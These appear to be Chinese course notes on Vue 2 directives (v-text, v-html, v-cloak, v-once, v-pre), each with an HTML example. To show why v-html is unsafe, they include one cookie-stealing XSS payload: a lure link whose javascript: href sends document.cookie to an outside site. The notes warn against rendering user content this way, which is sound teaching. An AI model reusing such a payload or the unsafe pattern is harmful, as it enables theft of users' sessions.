前言
系列文章目录:
[Vue]目录
老师的课件笔记,不含视频 https://www.aliyundrive.com/s/B8sDe5u56BU
1. 学过的指令的总结
- v-bind : 单向绑定解析表达式, 可简写为
:xxx
- v-model : 双向数据绑定
- v-for : 遍历数组/对象/字符串
- v-on : 绑定事件监听, 可简写为
@
- v-if : 条件渲染(动态控制节点是否存存在)
- v-else : 条件渲染(动态控制节点是否存存在)
- v-show : 条件渲染 (动态控制节点是否展示)
2. v-text 指令
v-text 指令的作用:向其所在的节点中渲染文本内容。
v-text 指令与插值语法的区别:v-text会替换掉节点中的内容,即会覆盖元素内部原有的内容,而插值语法则不会。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset= "UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="root">
<h2>你好,{{name}}</h2>
<h2 v-text="name">你好,</h2>
</div>
</body>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
<script>
const vm = new Vue({
el: '#root',
data: {
name: '张三'
}
})
</script>
</html>
3. v-html 指令
v-text和插值表达式只能渲染纯文本内容,如果要把包含html标签的字符串渲染为页面的html元素,需要使用v-html。
v-html 指令可以向指定节点中渲染包含html结构的内容。
v-html 也会替换掉节点中的内容,即会覆盖元素内部原有的内容。
3.1 示例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset= "UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="root">
<div>{{str}}</div>
<div v-text="str">你好</div>
<div v-html="str">你好</div>
</div>
</body>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
<script>
const vm = new Vue({
el: '#root',
data: {
str: '<h1>hello world</h1>'
}
})
</script>
</html>
3.2 v-html 的安全性问题
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
// 如果此元素被解析到页面上
// 那么将会生成一个超链接标签
// 当用户点击后
// 由于 location.href="http://www.baidu.com?"+document.cookie
// 本网站的cookie将被获取,同时跳转到指定页面,将本网站的cookie发送给跳转网站的服务器
// 这样子别人就能够获取和使用我们的cookie进行登录或者其他操作
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
3.3 v-html 总结
- v-html 作用:向指定节点中渲染包含html结构的内容。
- 与插值语法的区别:
- (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
- (2).v-html可以识别html结构。
- 严重注意:v-html有安全性问题!!!!
- (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(冒充用户之手)。
- (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
4. v-cloak 指令
v-cloak指令没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<!--
由于加载vue.js在html元素之后,所以当网速较慢时,vue.js还未获取到
此时未经vue渲染的原始html元素就会显示给用户
如果使用了v-cloak再配合css则可以实现在vue.js未获取时不显示,直到获取之后才显示
因为创建vue实例对象只能在获取vue.js之后,使用vue实例页面进行渲染也只能在创建vue实例之后
-->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
5. v-once 指令
v-once 所在节点在初次动态渲染后,就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
示例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 只有第一次动态渲染才会进行数据的更新 -->
<!-- 以后数据的改变不会引起v-once所在结构的更新 -->
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
6. v-pre 指令
v-pre指令能够使vue跳过其所在节点的编译过程,即在代码中写的什么样在页面中就显示什么,vue不会对v-pre所在的节点进行渲染。
可利用 v-pre 指令跳过 没有使用指令语法、没有使用插值语法 的节点,会加快编译。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 v-pre>当前的n值是:{{n}}</h2>
<button v-pre @click="n++">点我n+1</button>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>